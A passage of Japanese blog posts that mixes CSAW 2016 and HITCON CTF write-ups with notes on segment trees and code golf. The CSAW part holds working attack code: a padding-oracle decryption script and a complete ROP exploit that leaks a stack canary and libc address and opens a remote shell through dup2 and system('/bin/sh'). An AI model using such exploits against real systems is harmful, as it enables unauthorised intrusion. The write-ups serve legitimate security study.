d = 1 r = "" res = [] for c in s: r += c if c=='[': d += 1 elif c==']': d -= 1 if d==0: res.append(r) r = 0 return res def toa(ss): res = "" for s in ss: s = s[:-1] a = [1] * 256 p = s.split('&&') #print p for d in p: d = d[1:-1] #print d if d[0]=='^': d = d[1:] for c in d: q = ord(c) a[q] = 0 else: ta = [0] * 256 for c in d: q = ord(c) ta[q] = 1 for c in xrange(256): a[c] *= ta[c] for d in xrange(256): if a[d]==1: res += chr(d) break #print res return res rs = [""] i = 0 ps = [] ans = [] for c in bef: if c=='(': print ins('(') inde += 3 if len(rs)>0: po = rs.pop() print 'naka ..',po ans.append(po) rs.append("") elif c==')': g = rs.pop() #print 'g .. ',g #print ins(g) g = spka(g) g = toa(g) ps.append(g) ans.append(g) print ins(g) print g inde -= 3 print ins(')') else: if len(rs)>0: rs = rs[:-1] + [rs[-1] + c] else: rs += [c] i += 1 print ps ans = ans[1:] print ans ta = "" for d in ans: if d[0]=='\\': d = d.split('\\') d = d[1:] for x in d: p = int(x) ta += ps[p-1] else: ta += d print ta #hitcon{Re:Zero -Starting Programming in Another World-}
時間内に通したい人生だった。
感想
集まってやると、知見がその場で共有できるし問題を解くやる気が大いに向上する(個人比)のでとてもよかった(ただし徹夜は判断能力を奪う)。
終わってみるとチームでいろいろ解いたように思えるが、実際は日曜の晩とか、6時間ほどだれも得点しない、みたいな状況が生えていたりしたのでもうちょっとすぱすぱ進められるようになりたい。あと、結局最後、angry boy も moREも1時間ほど間に合わなくて得点できていない(650点が得られなかった)みたいな感じだったのでずいぶん心残りである。
自分はpwn力をわりとつけたと思っていたのに全く解けなかったのでなんだかなあ、と。64bitELFを読む根性をつけるか、読みやすくするツールを導入するべき。あとヒープがてんでだめなのでどうにかしたい。
SECCONに向けてもっと力をつける必要を感じた。
csaw ctf 2016 quals のwriteup
CSAW 2016 にTSGの面々(dai,moratorium08,satos)で参加してました。
14問解いて1226ptで126位でした。
自分が解いたり関わったりしたやつについてのWriteupっぽいものです。
The Rock
64bitのELF。stripped。
C++で書かれたやつだったので、objdumpをデマングルしてみたりする。c++filtというのでできるらしい。やったらわりと読みやすくなったので便利だった。
import os def dem(s): os.system('echo "' + s + '" | c++filt > do.txt') with open('do.txt','r') as fp: res = fp.readlines()[0].split('\n')[0] #print res return res with open('objd.txt','r') as fp: gs = ''.join(fp.readlines()) ls = len(gs) ts = "" i = 0 while i<ls: if gs[i]!='<': ts += gs[i] i += 1 else: ts += gs[i] i += 1 cs = "" while gs[i]!='>' and gs[i] != '@': cs += gs[i] i += 1 ts += dem(cs) #print ts with open('demd.txt','w') as gp: gp.write(ts)
問題は正しい文字列を入れるとcorrect the flag is flag{入力文字列}を返してくれる系のやつ。
最初、適当なのを入れるとToo short or too long とか返ってくる。
lengthで調べると、
4016d2: e8 29 f7 ff ff call 400e00 <_ZNKSs6lengthEv@plt> 4016d7: 48 83 f8 1e cmp rax,0x1e
というのがあったので、'a' * 30 をぶちこんでやると、passed 0 とか言われるようになる。
うまいことcorrectが出るようなパスを探すと、call 4017e6 の返り値をうまいことしてやればよいと分かる。4017e6は引数として自作謎構造体が与えられており、その中の2つの文字列を比較している模様。いろいろと入力を変えて調べてみると、片方は固定で、もう片方は入力に依存している。で、依存している方は'a' * 30 を入れると '^' * 30が、'a' * 15 + 'b' * 15 を入れると '^' * 15 + '_' * 15 が返ってくるのでどうやら各文字について変換してるっぽい。ここで'\x00' * 30 から '\xff' * 30 までを入力として走らせてみると、ひとつだけpassed 1 が返ってくるので順繰りに1文字ずつあわせていけばよいとわかる。
import os bs = "" while len(bs)<30: mbl = len(bs) for i in range(0,128): ns = bs + chr(i) ns += (30 - len(ns)) * 'a' with open('i.txt','w') as fp: fp.write(ns) os.system("./rock < i.txt > co.txt") ok = False with open('co.txt','r') as fp: rs = fp.readlines()[-1] rs = rs.split()[-1] #print rs if rs.isdigit(): #print rs if int(rs,10)>len(bs): bs += chr(i) ok = True if ok: break print bs if mbl==len(bs): break
deedeedee
64bitのELF。not stripped。
実行してみると、
Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d I generated it at compile time. :) Can you decrypt it for me?
と言われる。いわゆるコンパイル時実行というやつ(テンプレートとかのあれ)らしい。中を見てみると、どうやらD言語で書かれていたらしく、D言語的デマングルがされてる。実際に出力部を見てみると、変換後の文字列がそのままデータとして格納されてるようで元の文字列は影も形もない。どないするねんとなる。
うろうろしていると、_D9deedeedee7encryptFNaNfAyaZAya という関数が見つかる。中をのぞいてみると、
edi , esi = _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya(edi,esi) edi , esi = _D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya(edi,esi) ... こんなのがたくさん続く ... edi , esi = _D9deedeedee33__T3encVAyaa9_343939343939343939Z3encFNaNfAyaZAya(edi,esi)
みたいな感じになってる。どうやら名前からするにそれぞれの関数はtemplate的なやつを用いてコンパイル時に作られたみたい、ということはこの関数が実行時にかまされたやつなのでは、と推測が立つ。
各関数を解析してみると、たとえば、_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAyaは、
convx(){
acc = s[0];
res = "";
for(p,q in zip(circle("111"),s)){
res.append(acc ^ (p ^ q));
}
return res;
}みたいになってることがわかる。(D言語を書いたことがないので文法は適当)
ここでaccの情報は落ちてしまうが、xor演算はモノイドになるので圧縮できて、最後に256パターンを試してやればよい。あとは関数名を抽出してやって復元してやればよい。
ts = "" with open('objd.txt') as fp: s = fp.readlines() i = 0 while s[i] != ' 44cde0: 55 push rbp\n': print i, i += 1 while s[i] != ' 44e36b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]\n': ts += s[i] i += 1 with open('ed1.txt','w') as fp: fp.write(ts) fs = [] with open('ed1.txt','r') as fp: ss = ''.join(fp.readlines()) ss = ss.split('\n') for r in ss: #print 'x',r if len(r)>0 and r[-1] == '>': ads = r.split('<')[1][:-2] ads = ads.split('_')[-1] ads = ads.split('Z')[0] ts = "" ls = len(ads) for i in xrange(ls/2): #ts += ads[i*2:i*2+2] + ',' ts += chr(int(ads[i*2:i*2+2],16)) fs.append(ts) #print fs fs = fs[::-1] bs = "gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}" bs = map(ord,bs) for cv in fs: ts = [] lv = len(cv) i = 0 for c in bs: ts.append(c ^ ord(cv[i % lv])) i += 1 bs = ts #flag{t3mplat3_met4pr0gramming_is_gr8_4_3very0n3} for i in xrange(256): ns = "" for c in bs: ns += chr(c ^ i) print ns
Sleeping
あんちくしょうシリーズその1。
謎ソースコードが与えられる。
len(key)==12ならbase64.b64encode(open("./sleeping.png",'rb').read()の値が返ってくる、とか書かれている。まずkeyが使われていないのが謎。また、ncして飛んでくる文字列をbase64デコードしてもpngの形式にならずただのdataだといわれる。なにこれ、エスパーでは...とかいいつつ放置していた。
ふと思い立ってPortable Network Graphics - Wikipediaを調べてみるとpngの先頭16byteは固定とのこと。ここでエスパー力が働き、len(key)==12のみ分かってるってことはkeyが繰り返しxorされているのでは!?となってこれをもとにkeyを算出してやるとなんか画像が復元されるので解ける。(この問題が溶けるとしたらこういう解法くらいしかないよなぁ...とか、ファイルの先頭の方のAscii文字度が高いのでなんかXOR的なあれでは...?くらいの推理はしていた)
Gametime
あんちくしょうシリーズその2。
音ゲーっぽいゲーム(Windows,32bit)が与えられるので、そのReversing...のはずだった。
「これパッチを当てるとこがたくさんあって面倒ですね。なんか1337と比較してるとこがあるし無限に時間がかかるのかな...?」「とりあえず遊んでみる？」
1～2分後...
「なんかThe key isとか出てるんだけどこれはなんなんですかね」「とりあえずSubmitしてみる？」 -> Accept
とかいうゲームを遊んでみるだけ問だったのでRev要素が0でした...(なんだったんだ)
Key
若干あんちくしょう。
Windows,32bitのReversing。
1. ふつうに起動すると、?W?h?a?t h?a?p?p?e?n?と言われる。調べてみると、C:\Users\CSAW2016\haha\flag_dir\flag.txtをOpenしようとしている部分が見つかるのでそれを作る。中に適当にflaghogrhogrとか書いておく。
2. 実行してみると、=W=r=o=n=g=K=e=y=と言われるので、見てみると、その直前あたりに判定ルーチン(sub_4020c0)があって、sub_4020c0(flag.txtの文字列,長さ,謎固定文字列(idg_cni~bjbfi|gsxb),長さ) みたいな呼び出され方をしている。
3. sub_4020c0はなんかめんどくさいことをやってるなー、とりあえず挙動でもみてみるかー、と思ってflag.txtの中身をidg_cni~bjbfi|gsxbにして動かすと、なんかYou Did It といわれる。
4. !? と思ってidg_cni~bjbfi|gsxbをsubmitするとCorrectと言われるのでおしまい。sub_4020c0はstrcmpを難読化したやつだったみたい。
途中めんどくさいなあと思って放っておいたのだけれど雑に手をつけたら雑に解けてしまった感じ。
Regexpire
Misc。実質PPC。
javascriptのっぽい正規表現が飛んでくるので、それにmatchする文字列を返してやる。
途中、\dとか\Dとか\wとか\Wを勘違いしていてなかなか苦労した。あとパーザはちょっと雑でざる。下手に書いてしまった気がする。
import struct, socket, sys, telnetlib, os import urllib, time class mystr: def __init__(sl,s): print 'init',s sl.s = s sl.i = len(s)-1 def getc(sl): if sl.i==0 or sl.s[sl.i-1]!='\\': res = sl.s[sl.i] sl.i -= 1 else: if sl.s[sl.i]=='D': res = 'a' elif sl.s[sl.i]=='d': res = '3' elif sl.s[sl.i]=='w': res = 'a' elif sl.s[sl.i]=='W': res = '%' else: res = [sl.i] sl.i -= 2 return res def getw(sl): print 'getw',sl.i,sl.s[sl.i] c = sl.s[sl.i] if c==')': g = "" sl.i -= 1 while sl.s[sl.i]!='|': g = sl.s[sl.i] + g sl.i -= 1 res = mystr(g).getma() while sl.s[sl.i]!='(': sl.i -= 1 sl.i -= 1 elif c=='*': sl.i -= 1 sl.getw() res = "" elif c=='+': sl.i -= 1 res = sl.getw() elif c==']': sl.i -= 1 res = sl.getc() """ while res =='' or res == ' ': res = sl.getc() """ tc = '' while tc!='[': tc = sl.getc() elif c=='}': sl.i -= 1 p = "" while sl.s[sl.i]!='{': p = sl.s[sl.i] + p sl.i -= 1 x = int(p,10) sl.i -= 1 pw = sl.getw() res = pw * x else: res = sl.getc() return res def getma(sl): res = "" while sl.i>=0: res = sl.getw() + res print sl.i,res print res return res ''' q = '[sjN]*[a-zA-Z]0IN+[a-z][a-z]*u{9}\W(trump|clinton){6}[i4yCGL][i-r]*' print mystr(q).getma() exit(-1) ''' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('misc.chal.csaw.io', 8001)) def getunt(c): res = "" while res=='' or res[-len(c):]!=c: res += sock.recv(1) print res return res getunt('?\n') while True: s = getunt('\n') s = s[:-1] if s=='Irregular': break res = mystr(s).getma() sock.send(res + '\n')
Tutorial
前の記事参照。
感想
Reversing面倒くさいなあと思いつついろいろと解いていた感じ。
エスパー問がたくさんあってエスパー力が身についたのでよかった(よくない)。エスパー問は撲滅されるべき。
はじめて生のCTF中にpwn問題を通すことができたのでいい記念になった。
追記
Neo
大会中にとけなかったやつ。Padding Oracle Attackだと予想はついたものの、自分で一度も書いたことがなく、また他のとこから引っ張ってきたコードが動かなかったので解けずじまいだった。
大会終了後もしばらくサービスが動いていたので解いた。
#coding: utf-8 import urllib from HTMLParser import HTMLParser class TestParser(HTMLParser): def __init__(self): HTMLParser.__init__(self) self.findederr = False def handle_starttag(self,tagname,attribute): if tagname.lower() == "div": if attribute[0][1]=='alert alert-error': self.findederr = True def oracle(gs): #print gs url = 'http://crypto.chal.csaw.io:8001/' params = urllib.urlencode({'matrix-id':gs}) #print 'send', #print params f = urllib.urlopen(url, params) s = f.read() #print s #print 'recv', parser = TestParser() parser.feed(s) res = parser.findederr parser.close() return not res import base64 #bs = "pDjx7VaOqCkjk/AniTtGezPvSfBjXzy6oWg7PjGrJxvnAHbQPXwU7Zm87abBv4OIcQN+mFeG7mwIOb+cg+8//Ud0HpJXowsgLHkE/CEIrag=" bs = "nfUgtYJZpGxz7mlMKFaGIuPmDBSiO7DrtuULgAawfNULJyjnYRP4AzZp7Mwi/ZvFDLGKKVvHv0TqhdcklTi0ygwfQM+XRYCo+dFLq8qEkQ4=" bs = base64.b64decode(bs) blocks = [] for i in xrange(len(bs)/16): blocks.append(map(ord,bs[i*16:(i+1)*16])) print blocks plain = "" idx = 0 for nb in blocks[1:]: #b1 = map(ord,bs[80-16:80]) npl = [0] * 16 for n in range(0,16)[::-1]: pn = 16-n for c in xrange(256): #print c, npl[n] = c sv = [npl[i] ^ pn for i in xrange(16)] sv += nb sv = ''.join(map(chr,sv)) sv = base64.b64encode(sv) if oracle(sv): print 'n .. ', n, 'c .. ',c break npl = map(lambda (p,q): p^q,zip(npl,blocks[idx])) npl = ''.join(map(chr,npl)) print npl plain += npl idx += 1 print plain #flag{what_if_i_told_you_you_solved_the_challenge}
csaw ctf 2016 qualsのTutorialのwriteup
Tutorial (pwn 200)
検分
strippedでないx86_64バイナリ。libcももらえる。
NXあり、カナリーあり、PIEなし。
挙動は大雑把に、
void priv(){ /* ルートディレクトリを/home/tutorialにしたり、 tutorialのuid,gidに変更したりする。 */ } func1(int fd){ void* p = dlsym(-1,"puts"); //[rbp-0x48] write(fd,"rifarense"); sprintf(rbp-0x40,"%p\n",p); write(fd,rbp-0x40,len=15); } func2(int fd){ bzero(rbp-0x140,0x12c); write(fd,"timetotext .. " ">"); read(fd,rbp-0x140,len=0x1cc); write(fd,rbp-0x140,len=0x144); } int main(){ priv(); /* あのportをbindしてforkして listenするたぐいのやつ。argv[0]がポート番号になる。 */ for(;;){ /* 入力によって、func1かfunc2が実行できる */ } }
みたいな感じでした。
func2のread(fd,rbp-0x140,len=0x1cc);が明らかにバッファオーバーフロー。いちおうカナリーはあるのだけれど、write(fd,rbp-0x140,len=0x144);があるので、一回目は短い入力でカナリーを得る->二回目に上書き、でよい。(なぜなら、カナリーはプロセスで共通、かつwriteはヌル文字関係なく吐き出してくれる)
さて、上書きできるのだが、スタックが実行不能である。また、rbpの下4byteしかwriteで吐き出されないのでスタックの位置が不明(まあこれでも推測 or 全探索可能なのかもしれないが)。また、x86_64なので関数呼び出し時に引数をレジスタに入れてやらないといけない。よって、ROPを用いたexploitを書くことになる(はじめてのROP!!)。
ここで、有難いことにfunc1でputs-0x500のアドレスが得られるのでlibcのbaseアドレスが得られる。ので、libcの無限にあるropガジェットが使い放題になるのでこれを用いてexploitを書く。
実際にexploitを作る
まず、そもそもtutorialという名前のユーザーがいないとバイナリが動かないので、katagaitai CTF勉強会 #5 pwnables編 - PlaidCTF 2015 Pwnable620 tpを参考にしつつユーザーを作る。あとはsudo権限つけてgdbで実行してやると動いた(ただ、なんかプログラムを終了させてもポートが埋まったままだったりしていた...)。
exploitコードには例のごとくpythonを用いる。カナリーとputs-0x500を得るところまではわりと淡々と書ける。
ROPガジェットを調べるために、rp++をx64でスタックバッファオーバーフローをやってみる - ももいろテクノロジーを参考にしつつ入れる。同ページを参考にしつつ、systemとかputsとかwriteとかの位置を 『 nm -D 』を用いて、"/bin/sh" の位置を 『 strings -tx 』を用いて調べる。また、rp++でpop rdi,pop rsi,pop rdxの位置を調べておく。(今回、手元のlibcと与えられたlibcをごっちゃにして位置を調べてて、位置の差分が合わねえとか言って時間を無限に溶かしてしまったので以降気をつけたい。手元のlibcは ldd tutorial とかで調べられるとのこと。)
材料が集まったらまずはwrite(fd,"/bin/sh",7); が手元とリモートで動くかどうかを確かめた。fdは直前にwriteを呼んでいたのでrdiに入りっぱなしであって推測してやる必要がなかった(多分4あたりだろうけれど)。わりとすんなり動いたはず。
次にsystem("/bin/sh"); を呼び出すコードを書く。ただし標準入出力は手の届かないとこにあるのでdup2を用いてfdにつないでやる。具体的には dup2(fd,0); dup2(fd,1); system("/bin/sh"); としてやればうまくいった。これも一発で動いて気持ちよかった。
ソースコード
#coding: utf-8 from socket import * import time isgaibu = False isgaibu = True p = socket(AF_INET, SOCK_STREAM) if isgaibu: p.connect(("pwn.chal.csaw.io", 8002)) raw_input('gdb$') else: p.connect(("localhost", 8006)) #8006 const. time.sleep(1) raw_input('gdb$') def getunt(c): res = "" while res=='' or res[-len(c):]!=c: #print res[-len(c):], res += p.recv(1) print res return res def addr2s(x): res = "" for i in xrange(8): res += chr(x % 256) x /= 256 return res def s2hex(s): return map(lambda c: hex(ord(c)),s) def s2addr(s): res = 0 for i in xrange(8): res *= 256 res += ord(s[7-i]) return res def shell(): while True: p.send(raw_input() + '\n') print p.recv(1024) def getlibbase(): #print p.recv(1024) getunt('\n>') p.send('1') time.sleep(0.5) s = getunt('-Tuto') res = s.split()[0].split(':')[1][2:] #print res res = int(res,16) return res def getcanary(): getunt('\n>') p.send('2') getunt('\n>') p.send('xx') s = getunt('-Tuto') print 's..',s s = s[:-5] print hex(len(s)) print map(ord,s) return s[-12:-4] canary = getcanary() puts_ptr = getlibbase() + 0x500 ''' 手元 puts 0000000000070a30 system 00000000000443d0 rdi 0x000218a2: pop rdi ; ret ; (521 found) rsi 0x000232f5: pop rsi ; ret ; (158 found) rdx 0x00001b92: pop rdx ; ret ; (5 found) rcx 0x000ea8ea: pop rcx ; pop rbx ; ret ; (1 found) ''' if isgaibu: dup2_diff = 0x0ebe90 puts_diff = 0x000000000006fd60 system_diff = 0x0000000000046590 write_diff = 0xeb700 rdi_diff = 0x00022b9a rsi_diff = 0x00024885 rdx_diff = 0x00001b8e binsh_diff = 0x17c8c3 else: dup2_diff = 0x0f7b90 puts_diff = 0x0000000000070a30 system_diff = 0x00000000000443d0 write_diff = 0xf74d0 rdi_diff = 0x000218a2 rsi_diff = 0x000232f5 rdx_diff = 0x00001b92 binsh_diff = 0x18c3dd libc_base = puts_ptr - puts_diff pop_rdi_ptr = rdi_diff + libc_base pop_rsi_ptr = rsi_diff + libc_base pop_rdx_ptr = rdx_diff + libc_base binsh_ptr = binsh_diff + libc_base write_ptr = write_diff + libc_base dup2_ptr = dup2_diff + libc_base system_ptr = system_diff + libc_base #exit(-1) def sendshec(s): p.send('2') print p.recv(1024) p.send('x' * 0x138 + canary + s) print p.recv(1024) #sendshec('hogehasefg') #dup2(4,1); とかのあとにsystemですかねー？ #fd は4あたりかな-. ebp_fake = 0xffffe3b0 sc = "" ''' sc += addr2s(ebp_fake) sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。 sc += addr2s(binsh_ptr) sc += addr2s(pop_rdx_ptr) sc += addr2s(7) sc += addr2s(write_ptr) ''' sc += addr2s(ebp_fake) sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。 sc += addr2s(0) sc += addr2s(dup2_ptr) sc += addr2s(pop_rsi_ptr) #rdiはそのままでよい。 sc += addr2s(1) sc += addr2s(dup2_ptr) sc += addr2s(pop_rdi_ptr) sc += addr2s(binsh_ptr) sc += addr2s(system_ptr) sendshec(sc) time.sleep(1) #print p.recv(1024) shell()
第x回プロコン分科会(seg木)
seg木
このへんから高速化とかそういう技術が必要になってきます
logNは定数。(要出典)
一般的なの
RMQ。ある区間内の最大(最小)値、一か所の変更ができる。
int N; int seg[400005]; void init(){ N=1; while(N<=n)N*=2; rep(i,N)seg[i+N]=-inf; rep(i,n)seg[i+N]=初期値[i]; ireg(i,1,N-1)seg[i]=max(seg[i*2],seg[i*2+1]); } int get(int l,int r,int a,int b,int k){ //今、区間[l,r)(ちょうどk番目のノード)を見ていて、 //クエリは[a,b)内のmaxを返してくれ、というやつ。 if(r<=a || b<=l)return -inf; //全くかぶってない if(a<=l && r<=b)return seg[k]; //☆ return max( get(l,(l+r)/2,a,b,k*2), get((l+r)/2,r,a,b,k*2+1)); //わける } int get_max(int a,int b){ //外部からはこのようにgetを呼び出す return get(0,N,a,b,1); } void update(int p,int a){ //位置aを値pにする a+=N; seg[a]=p; a/=2; while(a>0){ seg[a]=max(seg[a*2],seg[a*2+1]); a/=2; } }
注意)
segの長さは、n*4くらい取っておくこと。
(Nがn*2くらいまでなって、segは2*N要素くらいいる)
半開区間です。
で、一回の呼び出しに対して、
updateはlog(N)回くらいwhile文が回る。
get の呼び出し回数が増えるのは、☆のところだが、
☆が呼び出されるのは、[l,r)と[a,b)が交差するとき。
で、それぞれの端点a,bについて、交差している区間はたかだかlog(N)個なので、
全部でだいたい4*log(N)回くらいgetが呼び出される。
ので、クエリに対してO(log(N))で答えられる、やったね、という話。
派生
各ノードに対してvectorとかsegtreeとかを持たせる話もある。
(2次元平面に対してある区域内の点の個数を求める、とか)
starry sky tree
ある区間内のmin、ある区間への加算、みたいなクエリに対して答えろ、という問題がある。
(seg木を二つ持てば解けるが同上)
これを解くのがstarry_sky_treeと呼ばれるやつ。
seg木は二分木なわけだが、「根以外のとこでは片方のノードは0」「根から葉までの値の累積和が各地点の値となる」
を満たすように、うまいことseg木を更新してやる。
たとえば、
[3, 1, 4, 1, 5, 9, 2, 6]
は、
[ 1 ] [ 0 ],[ 1 ] [ 0 ],[ 0 ],[ 3 ],[ 0 ] [2],[0],[3],[0],[0],[4],[0],[4]
みたいなのでもつ。
さて、実装ですが、
getは取ってくるだけですが、updateがちと面倒です。(ポロロッカさせる必要がある)
// validated at http://codeforces.com/problemset/problem/52/C int N; lli seg[800005]; void init(){ N=1; while(N<=n)N*=2; rep(i,n)seg[i+N]=dat[i]; reg(i,n,N-1)seg[i+N]=inf; ireg(i,1,N-1){ seg[i]=min(seg[i*2],seg[i*2+1]); seg[i*2]-=seg[i]; seg[i*2+1]-=seg[i]; } } lli get(int l,int r,int a,int b,int k){ if(r<=a || b<=l)return inf; if(a<=l && r<=b)return seg[k]; return seg[k] + min( //いままでの累積+子の最小値 get(l,(l+r)/2,a,b,k*2), get((l+r)/2,r,a,b,k*2+1)); //[l,r)の区間の部分木をちっちゃなseg木とみなしたときに //ちゃんと最小値が返っているようにする。 } lli get_min(int a,int b){ //外部からはこのようにgetを呼び出す return get(0,N,a,b,1); } void update(int l,int r,int a,int b,int k,lli p){ //区間[a,b)にpを加える if(r<=a || b<=l)return; if(a<=l && r<=b){ seg[k] += p; return; } update(l,(l+r)/2,a,b,k*2,p); update((l+r)/2,r,a,b,k*2+1,p); //この時点で、左右の子より下の部分は全て正常化されている筈。 //で、現状、自分を含む子ノードの部分は、適当なa,b,cを用いて(aが今のノード) //[ a ] //[ b ],[ c ] //となってるはず。で、 //「左ルートの累積がa+b,右ルートの累積がa+c」 // である状態を保ちつつ、 //「どちらかの子ノードの値が0,もう片方は正」 // であるようにするには、これを //[ a + min(b,c) ] //[ b-min(b,c) ],[ c-min(b,c) ] //としてやればよい。 lli por = min(seg[k*2],seg[k*2+1]); seg[k]+=por; seg[k*2]-=por; seg[k*2+1]-=por; } void update_x(int a,int b,lli p){ //外部からはこのようにupdateを呼び出す update(0,N,a,b,1,p); }
seg木ではない
BIT木(Fenwick Tree)
クエリがmaxではなくsumとかのとき、[1,x)と[1,y)から[x,y)が求まるので、持つノードの数が少なくできる。
BIT木に再帰的にBIT木を持たせる、とかいう話もある。
bit演算を用いると遷移が簡単に書けるよ、というもの。
実装は蟻本を見てください。
平方分割
seg木と似たような考え方として、「平方分割」というやつがある。
(僕はseg木の劣化版だと思っていたが、seg木でできない問題も解けたりするのでなかなか)
平衡二分探索木
http://www.slideshare.net/iwiwi/2-12188757
これとか。
seg木にはできないことをやってのける。
勉強になるの
http://kagamiz.hatenablog.com/entry/2012/12/18/220849
とか、
http://www.slideshare.net/iwiwi/ss-3578491
とか、
http://d.hatena.ne.jp/kyuridenamida/20121114/1352835261
とか、
http://d.hatena.ne.jp/DEGwer/20131211/1386757368
とか、
http://hogloid.hatenablog.com/entry/20121227/1356608982
とか、
http://d.hatena.ne.jp/tozangezan/20111111/1320993464
とか。
AOJ 1601 Short PhraseをShort Codingする
AOJ 1601 Short PhraseのShort Coding - cookies.txt .scr
cookiesくんがショートコーディングをしていたのでそれに対抗してみる。
#include<bits/stdc++.h> main(){ for(char s[50],i,j,p,q;p=atoi(gets(s));printf("%d\n",i)){ for(i=0;i<p;s[i++]=strlen(gets(s+i))); for(i=j=0;j<7;) for(p=i++,j=q=1;q>0;) for(q=j++>5?0:j-2&&j-4?8:6;q>1;q-=s[p++]); } }
s[50],j,p,q; main(i){ for(;p=atoi(gets(s));printf("%d\n",i)){ for(i=0;i<p;s[i++]=strlen(gets(s+i))); for(i=j=0;j<7;) for(p=i++,j=q=1;q>0;) for(q=j++>5?0:j-2&&j-4?8:6;q>1;q-=s[p++]); } }
C++よりCのほうが、「#include
q=j++>5?0:j-2&&j-4?8:6
とあるが、これは、
if(j>5){ q=0; j++; } else{ j++; if(j!=2 && j!=4)q=8; else q=6; }
みたいな挙動をしてて、要は、
int x[10]={1,6,8,6,8,8}; q = x[j++];
みたいなことをしてる。
cookiesくんのほうはdefineとgotoでうまいこと制御しているが、
ショートコーディング理論(C/C++編) - Cozy Ozy
によれば、ちゃんとやればdefine文を使わない方が短くなるらしいのでがんばってdefineなしで縮めみた。
ショートコーディングをすると常識がばんばん破壊されるのでよい。
2016/6/29 22:00 修正と追記
クッキー君より、
p=atoi(gets(s)),p;
のとこ、
p=atoi(gets(s));
でよいのでは、と言われたので修正。2byte縮む。(こういうのが盲点に入ってしまうのでたちがわるい)
あと、コードについての解説を追加しました。
2016/7/7 0:00 追記
なんやかんややってて、更に11byte縮んだので追記。 166byte。
http://judge.u-aizu.ac.jp/onlinejudge/review.jsp?rid=1893982#1
s[50],j,p,q; main(i){ for(;j=i=atoi(gets(s));printf("%d\n",i)){ for(;i;)s[j-i--]=strlen(gets(s+j)); for(;j;) for(p=i++,j=q=6;q>0;) for(q=6842496>>--j*4&15;q>1;) q-=s[p++]; } } // 6842496は0x686880 のこと。 // x>>--j*4&15 は (x>>(--j)*4))&15 の意 // (奇跡的に演算子の優先順位がぴったりはまって括弧がひとつも要らなくなった)
あと、for(;i;) とか、 for(;j;) とかのあたり、初期化子や判定文を削りに削っているとこが見どころですかね。(前のと比べてだいぶ短くなった)
2016/7/7 13:00 追記
まだ縮んだ。158byte。
http://judge.u-aizu.ac.jp/onlinejudge/review.jsp?rid=1903254#1
s[50],j,p,q; main(i){ for(;j=i=atoi(gets(s));printf("%d\n",i)){ for(;i;)s[j-i--]=strlen(gets(s+j)); for(;q>0||j&&(p=i++,j=117933);j/=9) for(q=j%9;q>1;) q-=s[p++]; }}
前回からの進歩として、
「9進法を採用した」(16進法だとj/=16とかq=j%16とかになるので2byte伸びる)(117933は9進法で188686)
「for文がひとつ分なくなった」(まあ、||と&&と()が要るようになったので収支1byteの得ですが)
というのがでかいかと。
皆様の挑戦をお待ちしております。
